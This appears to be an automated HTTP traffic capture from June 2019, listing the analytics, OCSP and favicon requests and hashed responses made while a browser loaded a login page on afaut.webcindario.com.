                                            GET /r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-597118-7&cid=614399279.1560207262&jid=739629471&_gid=1513000231.1560207262&gjid=1512261708&_v=j76&z=2049268464 HTTP/1.1 
Host: stats.g.doubleclick.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://afaut.webcindario.com/usuarios/login.html

                                         
                                         64.233.165.154
HTTP/1.1 302 Found
Content-Type: text/html; charset=UTF-8
                                        
Location: https://www.google.com/ads/ga-audiences?v=1&aip=1&t=sr&_r=4&tid=UA-597118-7&cid=614399279.1560207262&jid=739629471&_v=j76&z=2049268464
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=10886400; includeSubDomains; preload
Date: Mon, 10 Jun 2019 22:54:22 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
Last-Modified: Sun, 17 May 1998 03:00:00 GMT
Server: Golfe2
Content-Length: 363
Alt-Svc: quic=":443"; ma=2592000; v="46,44,43,39"


--- Additional Info ---
Magic:  HTML document text
Size:   363
Md5:    bb31985f7343d0024bbca57eb645fd38
Sha1:   aed6fe464b92660a68c8a1acc3644fdd41159d7d
Sha256: 447a95bffa9d98b651da4aa2e238a4324bbf4af60ff923ab77efea40d4fe5d1a
                                        
                                            POST /GTSGIAG3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         216.58.207.195
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Mon, 10 Jun 2019 22:54:22 GMT
Cache-Control: public, max-age=86400
Server: ocsp_responder
Content-Length: 471
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   471
Md5:    67fe5a7f32d1626e83bdec0889df3461
Sha1:   173f37843508195ae0d86e5fb56630c3639c6869
Sha256: acece89c48cfb81bc5a95f28c36fe69b48b6cf56d2ec54a2513f73673a39eabd
                                        
                                            GET /ads/ga-audiences?v=1&aip=1&t=sr&_r=4&tid=UA-597118-7&cid=614399279.1560207262&jid=739629471&_v=j76&z=2049268464 HTTP/1.1 
Host: www.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://afaut.webcindario.com/usuarios/login.html

                                         
                                         216.58.211.132
HTTP/1.1 302 Found
Content-Type: text/html; charset=UTF-8
                                        
P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC"
Timing-Allow-Origin: *
Date: Mon, 10 Jun 2019 22:54:22 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
Location: https://www.google.no/ads/ga-audiences?v=1&aip=1&t=sr&_r=4&tid=UA-597118-7&cid=614399279.1560207262&jid=739629471&_v=j76&z=2049268464&slf_rd=1&random=4079512384
X-Content-Type-Options: nosniff
Server: cafe
Content-Length: 0
X-XSS-Protection: 0
Alt-Svc: quic=":443"; ma=2592000; v="46,44,43,39"


--- Additional Info ---
                                        
                                            POST /GTSGIAG3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         216.58.207.195
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Mon, 10 Jun 2019 22:54:22 GMT
Cache-Control: public, max-age=86400
Server: ocsp_responder
Content-Length: 471
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   471
Md5:    05fdf2d03e282832df04f167ad819c87
Sha1:   bc247ac9b5164a9d8e564691ebd08b722777dbfd
Sha256: 3ce55182a7d8040d0ca3f570bced4ca82aba114b22df5f3c0a264132ac5dab08
                                        
                                            GET /ads/ga-audiences?v=1&aip=1&t=sr&_r=4&tid=UA-597118-7&cid=614399279.1560207262&jid=739629471&_v=j76&z=2049268464&slf_rd=1&random=4079512384 HTTP/1.1 
Host: www.google.no
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://afaut.webcindario.com/usuarios/login.html

                                         
                                         172.217.21.163
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC"
Timing-Allow-Origin: *
Date: Mon, 10 Jun 2019 22:54:22 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
X-Content-Type-Options: nosniff
Server: cafe
Content-Length: 42
X-XSS-Protection: 0
Alt-Svc: quic=":443"; ma=2592000; v="46,44,43,39"


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   42
Md5:    d89746888da2d9510b64a9f031eaecd5
Sha1:   d5fceb6532643d0d84ffe09c40c481ecdf59e15a
Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
                                        
                                            POST / HTTP/1.1 
Host: ocsp.godaddy.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 107
Content-Type: application/ocsp-request

                                         
                                         50.63.243.230
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Mon, 10 Jun 2019 22:56:42 GMT
Server: Apache
Content-Transfer-Encoding: Binary
Cache-Control: max-age=112192, public, no-transform, must-revalidate
Last-Modified: Mon, 10 Jun 2019 19:44:59 GMT
Expires: Wed, 12 Jun 2019 07:44:59 GMT
Etag: "8c19dff558730b184ac5c1341d1cdbbfb9b46238"
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
Content-Length: 1777
Connection: close


--- Additional Info ---
Magic:  data
Size:   1777
Md5:    7773bde6a769187ea3bc1e1f0fa4784e
Sha1:   8c19dff558730b184ac5c1341d1cdbbfb9b46238
Sha256: e43acabb691d16456cbbcca6d25bef494ad76a374f4636b0a7383e7772e9e743
                                        
                                            GET /t/a595422501b92d03b3860fed3f29ee54 HTTP/1.1 
Host: 166686.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://afaut.webcindario.com/usuarios/login.html

                                         
                                         54.64.76.200
HTTP/1.1 404 Not Found
Content-Type: text/html
                                        
Date: Mon, 10 Jun 2019 22:54:23 GMT
Content-Length: 169
Connection: keep-alive
Set-Cookie: AWSALB=YDT62jqX4+1bW5UwRdMSvShrcxl6o4gAKM4bDrTivywbBCBtRBpU75kjRnCYwG7shZ6FzAJbxboEJhKgoq5AxqrHvrT0peY67/Wc9y3R77mpvFi6JshqI1i/fH72; Expires=Mon, 17 Jun 2019 22:54:23 GMT; Path=/
Server: nginx/1.14.2


--- Additional Info ---
Magic:  HTML document text
Size:   169
Md5:    7693e858b2ca7115ac7fd50df329ab4f
Sha1:   f6c47617b9a3e4dc957144fcb29f64a7a8c41da4
Sha256: 5b3fc771f43d8e67bd8957f7b3d9a49eae80b88e43c13cbf16623623e9028375
                                        
                                            GET /favicon.ico HTTP/1.1 
Host: afaut.webcindario.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: __muid=13cff9bf5f0e16c5dd502f7b55a868a7b66af194; _ga=GA1.3.614399279.1560207262; _gid=GA1.3.1513000231.1560207262; _gat_UA-597118-7=1

                                         
                                         5.57.226.202
HTTP/1.1 404 Not Found
Content-Type: text/html
                                        
Server: nginx
Date: Mon, 10 Jun 2019 22:54:24 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=120
Vary: Accept-Encoding
X-Powered-By: Webcindario Hosting Service
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   1634
Md5:    a5ff89c5d366d0e00728200d6347bf25
Sha1:   122eb8e4c60504b8419d46f6cc3df0443abb8586
Sha256: 9e33f326231e49d3a29197e6a22b10c2bb5ed94c6cd70a4e05a9f2427e57b183
                                        
                                            GET /favicon.ico HTTP/1.1 
Host: afaut.webcindario.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: __muid=13cff9bf5f0e16c5dd502f7b55a868a7b66af194; _ga=GA1.3.614399279.1560207262; _gid=GA1.3.1513000231.1560207262; _gat_UA-597118-7=1

                                         
                                         5.57.226.202
HTTP/1.1 404 Not Found
Content-Type: text/html
                                        
Server: nginx
Date: Mon, 10 Jun 2019 22:54:26 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=120
Vary: Accept-Encoding
X-Powered-By: Webcindario Hosting Service
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   1636
Md5:    23d43ad60476357e2b0daeb8bb2b5d15
Sha1:   4061d6780dfe22ac385af258830637b4ba59a9f4
Sha256: 05a53ae8a98b30865b9d582915130e6c9916646e9fc2b02695a2210809b8cb73